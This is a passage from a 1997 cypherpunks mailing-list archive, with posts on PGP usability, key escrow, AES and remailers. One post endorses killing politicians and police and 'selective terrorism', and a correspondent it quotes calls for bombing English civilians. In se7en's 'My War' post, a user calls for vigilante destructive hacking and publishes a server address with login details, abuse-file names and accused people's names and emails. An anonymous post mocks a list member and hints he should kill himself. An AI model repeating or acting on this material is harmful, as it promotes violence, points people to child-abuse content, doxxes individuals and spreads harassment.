calls it organized crime.
  Pardon me if I fail to see the distinction.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 22:45:54 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <Pine.LNX.3.91.970608215232.1559A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

>>In the same way I do not believe that the sheeple who every 5 years go 
>>out and vote in some corrupt and evil party to power commit a crime 
>>against me, even though they are definitely naive, stupid and brainwashed
>> to believe in the process of demoncracy, and particularly in its current
>> flavour. Remember the NAP, direct acts of agression are the only crimes.
>
>Well I for one do not beleive that only direct acts of agression are the
>only crimes. If I hire a hitman to bump off my wife I am as guilty of the
>murder as the one who pulls the trigger. If he kills off 2 or 3 others in
the process of killing her even I only hired him to kill her I am still
>guilty for the other deaths.

If you are in a group of people, and vote for your wife not to be killed, 
but you are outnumbered and the group have her killed, I would not say 
you were guilty. Similarly if everyone else chose to vote in a poll to 
say "do you want to kill William Geigers wife?" and you abstained, I 
would not say you were guilty.

The paralells between this and a political election are easy to draw.

>The same goes true for governments and their citizens. Citizens "hire"
>governments to do their bidding. If the people want their government to do
>"x" and they do "y" and the people let them continue doing "y" then they
>are just as guilt as the officials in the government. Ofcource you have
>the segmant of the population that support "y" but they are obviously
>guilty.

In that case I would say you were guilty of murder. I do take direct 
action against the government, and so do you, because we have not yet 
removed the state does not mean we are murderers.

>> A government can only conduct its activities with the support of its
>> population. This may be active support or support through inactivity (ie
>> shrugging shoulders and doing nothing).

>Shrugging of shoulders is ignorant and reprehensible but not criminally 
>so. To make an analogy, if I see someone in the street who has been run 
>over by a car and is going to die if I do not fetch assistance, to walk 
>on by would certainly be a callous act, but not criminal.

>Also, often there is very little one can do alone, you are starting to 
>apply democratic arguments here, in that you are saying "if the majority 
>of English people support the occupation of NI kill all English people". 

>Yes that is *EXACTLY* what I am saying. :)
>
>It is up to the people to control their governmnet. If their government
>acts illegaly or immorally and the citizens do nothing to stop them (up to
>and including arm revolt against their government) then they are just as
>guilty as the ones pulling the triggers!!

Yes, but there are several reasons why this cannot currently occur:

1. The UK government has systematically taken action to disarm the 
population, of course, this law can be easily circumvented.
2. The majority of people are too cowardly to take any action, and too 
brainwashed to see the governments evils.  
3. The English do not understand the history of NI, although NI is not 
the only issue which should cause public outcry it is the most obvious, 
and most people simply do not even realise the crimes carried out by the 
British in NI.

>Every English man, woman & child is guilty of the crimes against the Irish
>people and as such are fair game for retalition. 

Perhaps this was only a figure of speech and I am replying to a void 
point but I do not believe, even if we accept citizens are responsible 
for the crimes of the government, that children could be guilty, not that 
is if under voting age, and definitely not if under the age of criminal 
responsibility.

>Perhaps if enough good
>Englishmen get blownup the will finally force their government to stop
>their agression against the Irish.

It is better that a lot of bad Englishmen (such as poloticians, police 
etc.) get killed, they provoke more public sympathy that Joe Sixpack.

>Yes, but the only Germans I believe guilty of crimes were those who 
>directly took action in support of the government, "we were just obeying 
>orders" is no excuse, but not taking action to end the holocaust was no 
>crime. Turning a blind eye, and taking no action, are different things, I
> do not turn a blind eye to the problems in northern Ireland, I recognise
> however that there is nothing I can do to solve this problem, so I 
>concentrate on more productive things.

>Well with that attitude, "there is nothing I can do" is why governments
>get away with what they do. 

Of course, but it is very often true. Of course the German people should 
have revolted and deposed Hitler before WWII even began, the reason they 
did not do so was cowardice, the reason the English do not revolt is 
because they *do not see that the government commits crimes*. To English 
people, the governments acts of brutality in NI are just "protecting the 
people" or "keeping the peace" etc. 
There is a vast difference between persuading people who realise they 
should do something to do it, and persuading people to see things a 
different way. 

>You as a citizen of the UK are responcible for
>the actions of your government. This is a responcibility you can not
>ingnore because it is "too hard" or "too incovienant". It is not only your
>right but your duty to do everything possable upto and including the arm
>overthrowing of your government.

I realise that I, as an citizen of the UK should do something 
from a moral point of view, but, this simply does not suggest to me that 
if I do not do anything I am commiting a crime, this is not a logical 
step of reasoning to me. Whatever the case, I do do something, it isn`t 
yet armed revolt, but I wouldn`t rule that out for the future.

>The majority of citizen-units are too cowardly to take any action even 
>when they see the evils of government, this makes it very difficult for 
>the minority to end this evil, there is definitely strenth in numbers.

>Difficult but not impossiable. I am sure that the IRA would like to launch
>an all out invasion of England and put an end to the whole thing. They are
>too small to do so. So they engage in a policy of "terrorism" against the
>citizens of England who are the true powerbase of the English government.

Yes, but to do so would require the belief and support of most of the 
population, a virtually impossible task in a reasonable space of time. I 
am not saying this is an excuse for inaction, merely stating fact. I 
personally see geurilla warfare methods, selective "terrorism" and 
cryptography, as well as info-warfare as the means by which the state 
will be overthrown, there is no longer a need for large armed revolt. 

>I would imagine that a "man on the street" survey would find that most UK
>citizens support the actions of their government which makes them targets
>even more so.

Yes indeed, the average brainwashed citizen-unit thinks any "violent" act 
of self defence is criminal, recall the British public recently signed a 
petition in massive numbers (something like 10% of the population) for 
the banning of *all* handguns, even for sporting purposes. There are also 
laws in the UK which do not allow citizens to carry any defensive weapon 
whatsoever, these laws kill innocent people.

>This is a blatant and misguided overgeneralisation, I realise that 
>sometimes innocents get killed, I do find this understandable and 
>sympathise with those who feel they can excuse their actions in the name 
>of "war", but the actions of those who kill innocent people to get to the
> guilty are still crimes, and should be treated as such.

>No it puts the responcibility of government actions squarely on the
>shoulders of those who are responcible, the citizens. No government wether
>democracy or dictatorship can survive without a minimum of passive support
>of its citizens. Germany never could have commited its crimes without this
>support, the communist in Russia, not the Japanise. As such they are all
>guilty, not just the ones pulling the trigers.

If you come up to me in the street, hold a gun to my head and tell me to 
move so you can shoot someone behind me, I am going to move. The 
government uses force and coercion to compel its citizens to get out of 
its way and allow it to carry on its evil work. Sure, if I move to allow 
you to shoot the guy I may be cowardly, not guilty though, I see these 
two situations as very similar. 

I don`t think however that I personally can be thought of as guilty, even 
if we do accept for a moment that non-action is a form of consent, civil 
disobediance is an excellent tactic to show the violence of the 
government against peaceful protest, "terrorist" acts simply incur the 
displeasure of the sheeple and make them more determined to support the 
government.

>You can see prime examples of this all throughout Eastern Europe & the
>USSR. The old communist regimes lost popular support and their governments
>proptly collapsed.

This is something I was thinking about a while ago, is there any way we 
can vastly accelarate the governments programme of infringment of rights?
The boiling a frog slowly argument currently applies in that people do 
not see the governments evil, if they moved much further more people 
would open their eyes and see what is happening. Exposing the brutality 
of the state, as gandhi did to great effect, is always useful. Recall 
the fracas in NI over a peaceful Orange order march being banned recently 
(in the end the march went ahead but there was a lot of media coverage).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 11:36:48 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.LNX.3.91.970608163912.917B-100000@fatmans.demon.co.uk>
Message-ID: <w6F18D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Troll: and how about them proposed restrictions on tobacco advertising...
> >
>
> Troll-Response: The UK government has recently proposed a ban on all
> tobacco advertising (should be in place within a few months) including
> sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have
> us a statist roast ;-)...

In China and thereabouts (Mongolia, Malaysia...) tobacco companies are
sponsoring sports events and creating professional sports leagues where
otherwise the market wouldn't bear them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Mon, 9 Jun 1997 14:32:43 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: My War
Message-ID: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




Way back when in 1995 when I stopped lurking on this list and became a 
regular poster, one of the things I quickly became known for was my 
on-line harrassment of those who had stepped over the line in one manner 
or another in a way that would ultimately hurt us as a group overall.

Many old-timers here will remember my harrassment of Curtis Sliwa and 
Colin Hatcher of the Cyberangels (a.k.a. Guardian Angels). These were the 
fools who organized a worldwide volunteer police-wannabe force that 
searched out indecency (in the generic and ill-defined sense of the term) 
on the net, which when one dug further into their agenda, found it was 
just a ploy for funding and political power. 

My incessant harrassment led to the revelation of many things, most 
importantly that their leader had never ever been on the WWW, stating 
that he didn't have time to do so. This despite the fact he had time to 
organize a police force to patrol it.

There have been many others since then, most not as evil as the 
Cyberangels. They each had their own reasons for harrassment. Among 
some of them have been Carolyn Meinel, O.J. Simpson, Captain Crunch, and 
Gambit.

As many of you know, I make a living as a professional speaker, with 
federal government, military and intelligence communities as my core 
audience. Let me put any fears anyone may have to rest: my work 
concentrates in Information Technology more than anything else, and if I 
get into hackers and hacking, it is more pro-hacker than anything else. I 
am working to improve our image as a community of talented individuals.

I recently went off on a serious rant with three different audiences on a 
topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit. 
That topic was child pornography on the Internet. If you believed the 
press, child pornography was all over the Internet and easy to get. This 
brought about even more press and some action by our legislators to 
crack down on the Internet.

I conducted an eight-week long search for child pornography late last 
year in the middle of this hype. I searched for, followed literally tens 
of thousands of links and hacked into pay/private porno servers all over 
the world. My opinion based on my results, which were not having found a 
single picture of child pornography anywhere, was that this whole topic 
was a bunch of bullshit.

Well, that all changed a few days ago. I had asked for a software crack 
in a public USENET forum to override the NT4.0 Server 120 day time limit. 
While never receiving the crack, some idiot from an anonymous address 
sent me a child porn .jpg file. Trust me when I say it was child porn; 
the girl was no older than four years old and was very graphic. I 
immediately deleted all trace of the message/attachment. I was also very 
pissed to say the least that some asshole sent me this.

I looked around on IRC on #teensex, and by whois'ing several operators, 
found more insidious channels. Among them are:

#preteensexpics
#littlegirlsex
#100%preteensexpics
#100%preteensexfuckpics
#!!!!!!preteensexpics

There are many others. I joined several of these channels and found that 
upon entering each one, I was auto messaged about special kiddie porn 
servers dedicated to trading, e.g.,

PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

I logged onto several of these servers, and upon doing an ls-la found 
directories dedicated, among others, to child pornography. CD'ing into these 
directories listed several hundreds of files such as:

9yoshowr.jpg
8&dad.jpg
4yrfuck.jpg
6thgrade.jpg
6yoanal.jpg

These are some of over several hundreds of files in a single directory on 
a single server. There were dozens of servers. I learned the protocol to 
download on these servers was to uplaod pictures you owned and then the 
operator would give you "credits" of various ratios for downloading, i.e., 
upload two pictures, you get credit to download one picture. I uploaded 
generic garbage pics off of a commercial adult web site, and recived 
credit to download three pics. What I saw wanted to make me physically 
vomit (yes, these pics are long since overwritten with 1's and 0's and 
destroyed). To put any doubts at rest, the material was real and fit the 
names of the files mentioned above.

I was also actively sent private messages by those looking to trade. I 
asked what they had, and the usual response was "anything and 
everything." Some of the more common messages were:

"I have 4-12 year old girls both action or pose."
"I have little boys and girls alone or together."
"I specialize in adults with 4-8 year old girls."

I started logging the channels. I wanted to silently gather IP addresses 
and email addresses. These people needed some genuine hacker terror. 
Among some of the more active and persistent traders were:

(*denotes server in operation)

* SylphFox has a ftp at 206.246.162.183 1:2 ratio, anon login
* <hehe@ts33.dac.pace.edu>
* <kiddie@t2o15p13.telia.com>

<suicide@mail1.arnan.com>
<alexis@broken.dartmouth.edu>
<guinness@broken.dartmouth.edu>
<nexgen@philly158.voicenet.com>
<tuvak@ppp-5200-0403.mtl.total.net>
<Triad@an108.tir.com>
<seeme@star090165.galstar.com>
<domain@port182-tnt-ak-2.ihug.co.nz>
<lewisJ@user-37kb329.dialup.mindspring.com> name: Lewis Johnson
<fungus@infounik.com>
<tk@conc0-a03.conc.tds.net>
<pyro@user-37kb97d.dialup.mindspring.com>
<hat@dialin9001.slip.uci.edu> name: Tuyen Ha
<phostis@har-ct5-03.ix.netcom.com>
<polls@175-203-179.ipt.aol.com>

This log was generated in thirty minutes on #100%preteensexpics. If their 
email address appears above, it indicates they were actively offering 
trades or had servers in operation. These people listed above *were not* 
passive participants in the rooms. This represents only a small sampling 
of the overall people in the room at the time. Average number of people 
in each room varies, but seems to number about 40 people per room.

I logged out of IRC, and then went to USENET, in such rooms as:

alt.binaries.erotica.children.pre-teen

There I found several hundreds upon hundreds of .jpg files of real child 
pornography. Several messages also pointed to some WWW sites, such as:

http://www.nudebooks.com

For someone who took a virtual tour of the kiddie porn world for only one 
day, I had the opportunity to download enough files to fully max out an 
IOmega 100MB ZIP disc. **This is not an exaggeration.** Imagine how much 
could be, and has, been downloaded by those who are regular participants 
in this activity.

Well, this whole situation is unacceptable. First, I would like to 
apologize to all those who have hired me in the past, and were subject to 
my emotional rants about how the whole subject was bullshit and not real. 
It is very real. It is disgustingly real. It is so real it will make you 
want to throw up, and I actually, physically did throw up last night.

Second, in reference to previous conversation over the years on this list, 
and in the hacking community in general, I know this type of activity is 
not tolerated by us. I have given you enough information above to start 
identifying the players in this and the places they congregate. It would 
be my sincere hope that hackers of all abilities would spend a few 
moments each day and put their talents to use against these people.

Yes, I am advocating malicious, destructive hacking activity against 
these people. Who are they going to run to? The police? "They hacked my 
kiddie porn server and rm -rf'd my computer!" Right...the police will be 
so anxious to lock us up left and right.

These people need to be eradicated from the Internet. While that may 
never happen completely, enough harrassment will send a message that 
engaging in this type of activity in very dangerous, and can result in 
serious harrassment, public embarrassment and computer destruction.

This is my war. It will be a public war. I don't care what happens to me 
by their community or by law enforcement. I feel secure enough that no 
jury in the world will convict me for taking these people out. I feel 
secure enough that no law enforcement agency will ever take action that 
would place me in front of a jury. And if by some chance I do end up 
being prosecuted, I know what I did was right.

So, now start the logs of the channels and the actions of those in it. 
Now starts the public postings of these logs in various places on the 
Internet. Now starts the harrassment. Now starts the malicious hacking. 
Now starts the war.

I don't expect people to join me here on this. If you do, you have enough 
information to start. I caution you to log what is going on, and to make 
sure you are hitting the guilty, so no innocent people get annihilated in 
the process. Make damn sure you know who you are hitting and why, and be 
able to back it up with the idea of having to justify your actions in 
front of a jury.

And make *REALLY SURE* that if you do come across files of child 
pornography, that you *OVERWRITE AND DESTROY* these files immediately! 
You wouldn't want to be the one who ends up being prosecuted for being in 
possession of this type of material. I would also recommend getting an 
anonymous email account, such as juno.com, mailmasher.com, hacked, etc., 
so that you can conduct your activities without fear of the inevitable 
retribution of those who actively trade this shit when the heat starts 
getting applied to them.

Of all the people who can help stop this, it is us...hackers. Not law 
enforcement, not the government, not the media. Not anyone. Just us, 
hackers who have the talent to do what no one else can.

Please forward this message freely around the Internet. It is not 
copyrighted in any way, shape, or form.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 9 Jun 1997 12:04:38 +0800
To: cypherpunks@toad.com
Subject: AES Comments to NIST
Message-ID: <1.5.4.32.19970609034549.009b7ce0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NIST has published the 33 comments received on
the proposed Advanced Encryption Standard (AES)
intended to replace DES. Several are quite extensive.

In addition to those exemplars we've seen here by 
Bill Stewart and Bruce Schneier, there are remarks by 
several crypto luminaries, such as Ron Rivest and 
Clifford Adams (author of CAST), by NSA, by Canada's 
CSE, and by Certicom, 3Com, TIS, MasterCard, the 
ANSI X9 Standards Committee, the ABA and so on.

   http://jya.com/aes-comments.txt  (103K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 15:52:24 +0800
To: cryptography@c2.net
Subject: Access to Storage and Communication Keys
Message-ID: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The government and its friends have tried for a while to
convince the public that there's a great business market for
access to keys by the Proper Authorities, whether bosses or cops.
A number of us on the Pro-Privacy side have contended that
this is wrong - the business need is for later access to stored files,
not to encrypted communications keys and of course not to signature keys.

Having argued that point vociferously in the past, I'm now going to
waffle on the issue - while the business need is for access to
stored data, this may often include stored messages received from
a communication system in encrypted form.  Either the User Interface
needs to make it convenient to store the decrypted message,
or else the user will store the message in encrypted form -
which means there may be a business need for Proper Authority Access later.

This means, as {cypher,coder,ranter}punks, we need to address
this problem when building crypto tools, to avoid building systems
that create or sustain a business need for access to communication keys.

Some email systems really encourage you to save messages in 
one big hulking undocumented monolithic email box, with subfolders 
and databases and attachments and pointers, and some are a bit more
friendly but still leave bits and pieces of MIME splattered on your disk.
Some of the nicer tools I've used for encrypted file/mail handling
make it convenient to take encrypted incoming mail, decrypt it,
and either view it or save it to a file or clipboard.

I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
and it decrypts the mail into the mail message buffer itself.
When you finish with that particular message (e.g. go to the next,
or just close it), you get asked it you want to save the modified message,
and if you say "yes" you'll have the decrypted message in your mailbox.
However, there's a negative about this - if you receive mail that's 
signed and encrypted, and save the modified version, it loses the
signature information - so it may be more valuable to save the
encrypted version...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 16:00:36 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <199706090223.WAA29211@dhp.com>
Message-ID: <19970609002216.62726@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 10:23:43PM -0400, lucifer Anonymous Remailer wrote:
> Tim May wrote:
> > 
> > At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> > >Well I think that there are some that would confuse the issue between 1st
> > >Amendment free speech and the issues surrounding fraud. Especially those
> > >in government who write the laws that regulate commercial speech.
> > 
> > The mistake has been to extend "fraud" laws to non-contract situations,
> > e.g., ordinary speech (as distinguished from contracts).
> 
>   Any time that you see a thread in which Kent Crispin accuses someone
> of trying to "muddy the waters" you can pretty much guarantee he is
> trying to throw a logical curveball of his own.

The ones you really have to watch out for are my logical spitballs.  
But I am deeply flattered that you take me so seriously.

>   Kent added some tripe to the thread supporting his favorite theme,
> which is that it is the job of government to "enforce" contractual
> agreements. Naturally, he also extends the format of these contracts
> to include government authority to enforce criminal penalties for
> statements made by the great grandfather of the second cousin of the
> spouse of one of the person making the contract.

You are completely misrepresenting me here -- I distinctly said 
"grandmother of the first cousin".  And my favorite theme is from one 
of the Brandenberg Concertos.

>   Follow any thread after a Crispin post and you will find people
> arguing over issues he raises which have little basis in reality.

You have a point there.  You will search in vain for a stitch of 
reality in this post.

> > Contracts, with clearly stated conditions and with judgeable or
> > falsifiable/testable conditionals, are a matter for the courts (private
> > courts, in fact), but vague promises, advertisements, propaganda, etc. are
> > not.
> 
>   Dimitri wrote a couple of posts which dealt well with the original
> concept of two parties agreeing on an arbitrator/judge to settle
> contractual disputes (e.g. the court of Prince X) and the following
> usurpment of these free-will agreements by people in power who decree
> that _they_ are now the only valid arbitrator/judge in contractual
> matters.

It's pointless to reply to Dimitri -- he filters my posts.  Of course 
I would be delighted to engage in a civilized discourse with him, but 
it's impossible.

>   We now have a system where if someone breaks agreement with you the
> government locks them in a cage where there is no possibility of them
> paying you what they are contractually obligated to. The government
> doesn't give a fat rat's ass what your desires are for resolution of
> the dispute. They are always busy protecting the nebulous "other"
> rather than someone real, with a real interest in the situation.

A revealing paragraph, indeed.

>   The government mandates that contractual agreements must be 
> settled in a forum where the corporation with an army of lawyers
> can bury the attorney that Joe Average picked out of the yellow
> pages. When you enter into a contractual agreement with someone who
> has a guy named "Big Louie" as arbitrator, however, the government
> calls it organized crime.
>   Pardon me if I fail to see the distinction.

OK

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 16:39:10 +0800
To: fredr@joshua.rivertown.net
Subject: Who is an encrypted message for? [PGPtray/Eudora]
Message-ID: <3.0.1.32.19970609005410.0075c738@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



	[Fred, could you forward this to pgp-users?  Thanks.]

PGP 5.0 GUI on Win95 does this for both PGPtray and the Eudora plug-in.
When you want to decrypt a message, it doesn't tell you who the message
is TO when asking you for the passphrase.  Therefore, if you have
more than one user id with different passphrases, you don't know
which one to type in.  

Also, from a security perspective, this is bad, because what you 
do with the contents of a message may be different
depending on who it came to or from - was that mail asking for the
Secret Plans addressed to your individual Work key, your department key,
your home key, or your Illuminati Conspiracy key?

This appears to be Versionb b14c3, though it's not easy to find out,
and I'm not sure if that's the version of PGPtray, PGPkeys, or both...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 9 Jun 1997 08:26:19 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <199706090007.CAA10876@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



`A pen is mightier than a sword', not to mention Timmy C. 
May's pea-sized penis. He would be better served by a 
safety razor, possibly applied in a bathtub filled with 
warm water (something he has surely never been into).

      o
  /\O/        O Timmy C. May
 0  \\    | 0-#
    //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 16:59:55 +0800
To: cypherpunks@toad.com
Subject: Re: Access to Storage and Communication Keys
Message-ID: <199706090812.DAA16258@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>, on 06/09/97 
   at 12:09 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
>and it decrypts the mail into the mail message buffer itself. When you
>finish with that particular message (e.g. go to the next, or just close
>it), you get asked it you want to save the modified message, and if you
>say "yes" you'll have the decrypted message in your mailbox. However,
>there's a negative about this - if you receive mail that's  signed and
>encrypted, and save the modified version, it loses the signature
>information - so it may be more valuable to save the encrypted
>version...

Well this is why I tell everyone to clear sign the message first and then
encrypt it. In my PGP GUI/E-Mail integration E-Secure this is the default
behavior. IMHO encrypting & signing (-sea) is a PITA (for the reciever).

I also verify signatures of all signed inbound messages and append the
output from PGP to the bottom of the message so that you can see the
results when the message is opened without having to re-run PGP.

The user also has the option to either decrypt messages as they are
retreived or to store them encrypted.

I just released the first beta of my auto-encrypt code. That was quite fun
to write. Myself am rather disturbed by how many PGP/E-Mail implmentations
handle signing/encrypting of messages. One of my biggest pet peeves is
when only the plain text of a message is signed/encrypted. I have seen
this with more than 1 implementation and I see it as a serrious security
flaw.

Another issue that is usally missed is Bcc's. The whole purpose of using
Bcc's is that you don't want the rest of your distribution to know that
you have sent a copy to the addresses on the Bcc line. If you encrypt a
message with multiple keys including keys for your Bcc's then your Bcc's
will be known to everyone who recieves a copy of the message.

What I have done to address this is to send seperate copies of the message
to each address on the Bcc list each encrypted with only the one key for
the address.

You can have the strongest algorithms in the world but they do you no good
if they are poorly implemented.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5u7uo9Co1n+aLhhAQH/sgP/V/ulJSLuNEV+sBW1hAnRsbYizxUb3tbc
eJtG6YZnhszgjmj0ybgA/yfIC3i9uXjvuZeRdyrD9YSTf0a0gWOkcAzhhB/A5XBj
Kf80HEXiJhd9dLSxYUGD55QFQNtz1QGbEGCURLyCchuWa0KrpLUofvUZ0cfatk+3
VKbfYn0KMTA=
=vvGI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 9 Jun 1997 22:30:13 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706091350.GAA06451@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 9 Jun 97 6:45:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              #-##*---####    38:53  99.99%
weasel   config@weasel.owl.de             ++++--++--+   2:09:06  99.95%
squirrel mix@squirrel.owl.de              +-++--++-++   2:05:06  99.95%
jam      remailer@cypherpunks.ca          ****** *****    10:29  99.83%
balls    remailer@huge.cajones.com        ###.-## ####    38:28  99.71%
replay   remailer@replay.com              *****  ** **     5:44  99.35%
mix      mixmaster@remail.obscura.com     *.-.-----.    7:30:50  97.83%
reno     middleman@cyberpass.net          -+--------+-  1:19:13  97.76%
winsock  winsock@rigel.cyberpass.net      -+--------    3:48:43  95.95%
lucifer  lucifer@dhp.com                  +++   +++  +    51:30  91.29%
cyber    alias@alias.cyberpass.net        *****  ** *     15:59  88.67%
nym      config@nym.alias.net                              3:02   0.05%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
